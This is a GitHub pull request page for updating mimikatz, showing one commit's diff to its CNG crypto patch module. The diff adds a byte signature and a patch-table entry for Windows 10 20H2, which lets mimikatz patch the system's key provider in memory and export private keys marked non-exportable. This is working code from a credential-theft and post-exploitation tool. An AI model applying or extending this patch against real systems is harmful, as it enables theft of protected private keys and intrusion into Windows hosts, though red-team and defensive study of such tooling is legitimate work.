Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update mimikatz 2.2.0 20220919 #9

Merged
merged 13 commits into from
Nov 15, 2022
Merged

Update mimikatz 2.2.0 20220919 #9

Changes from 1 commit
Commits
Show all changes
13 commits
Select commit Hold shift + click to select a range
6825c58
Fix crypto::cng on Windows 10 x64 version 1909 (ERROR kull_m_patch_ge…
hubert3 Jul 21, 2021
c0a8dc6
Merge branch 'master' of https://github.com/gentilkiwi/mimikatz
hubert3 Jul 22, 2021
aeda2f7
Merge branch 'master' of https://github.com/gentilkiwi/mimikatz
hubert3 Jul 23, 2021
da34c29
cloudap support for versions > 1909. sort of hacky
Jul 7, 2022
a952a60
Merge branch 'gentilkiwi:master' into master
hubert3 Jul 21, 2022
161967d
Fix crypto::cng on Windows 10 20H2 (aka version 2009 / build 19042) …
hubert3 Jul 21, 2022
729302c
Add #define for Windows 10 21H2 (November 2021 Update) build version …
hubert3 Jul 26, 2022
4695280
Fix crypto::cng patching on Windows 10 x64 21H2 (ncryptprov.dll 10.0.…
hubert3 Jul 26, 2022
f602468
Merge pull request #362 from hubert3/master
gentilkiwi Jul 26, 2022
a227123
Merge pull request #400 from dmb2168/master
gentilkiwi Jul 29, 2022
746e211
[legacy] Backport djoin parser & citrix SSO password extractor
gentilkiwi Sep 19, 2022
854f74a
Merge commit '746e2116d1fb754f41fc13abd182a5a0efb6dad9' into update_m…
bwatters-r7 Nov 2, 2022
895ab86
Fix variatic macro parameter to support mingw builds
bwatters-r7 Nov 3, 2022
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
Fix crypto::cng on Windows 10 20H2 (aka version 2009 / build 19042) x… 
…64 to enable non-exportable private key export
  • Loading branch information
@hubert3
hubert3 committed Jul 21, 2022
commit 161967de41118f554e09cc03df0eee09a5587f58
4 changes: 3 additions & 1 deletion mimikatz/modules/crypto/kuhl_m_crypto_patch.c
100644 → 100755
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -113,6 +113,7 @@ BYTE PTRN_WI81_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x02, 0x75};
BYTE PTRN_W10_1607_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x02, 0x0f, 0x84};
BYTE PTRN_W10_1703_SPCryptExportKey[] = {0xf6, 0x46, 0x24, 0x0a, 0x0f, 0x84};
BYTE PTRN_W10_1809_SPCryptExportKey[] = {0xf6, 0x45, 0x24, 0x02, 0x0f, 0x84};
BYTE PTRN_W10_20H2_SPCryptExportKey[] = {0xf6, 0x45, 0x24, 0x02, 0x75, 0x46};
BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
KULL_M_PATCH_GENERIC CngReferences[] = {
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WI60_SPCryptExportKey), PTRN_WI60_SPCryptExportKey}, {sizeof(PATC_WI60_SPCryptExportKey_EXPORT), PATC_WI60_SPCryptExportKey_EXPORT}, {4}},
Expand All @@ -125,6 +126,7 @@ KULL_M_PATCH_GENERIC CngReferences[] = {
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_W10_1809_SPCryptExportKey),PTRN_W10_1809_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_10_1909, {sizeof(PTRN_W10_1809_SPCryptExportKey),PTRN_W10_1809_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_10_2004, {sizeof(PTRN_W10_1607_SPCryptExportKey),PTRN_W10_1607_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}},
{KULL_M_WIN_BUILD_10_20H2, {sizeof(PTRN_W10_20H2_SPCryptExportKey),PTRN_W10_20H2_SPCryptExportKey},{sizeof(PATC_W10_1607_SPCryptExportKey_EXPORT), PATC_W10_1607_SPCryptExportKey_EXPORT}, {4}},
};
#elif defined _M_IX86
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
Expand Down Expand Up @@ -159,4 +161,4 @@ NTSTATUS kuhl_m_crypto_p_cng(int argc, wchar_t * argv[])
PRINT_ERROR(L"No CNG\n");
}
return STATUS_SUCCESS;
}
}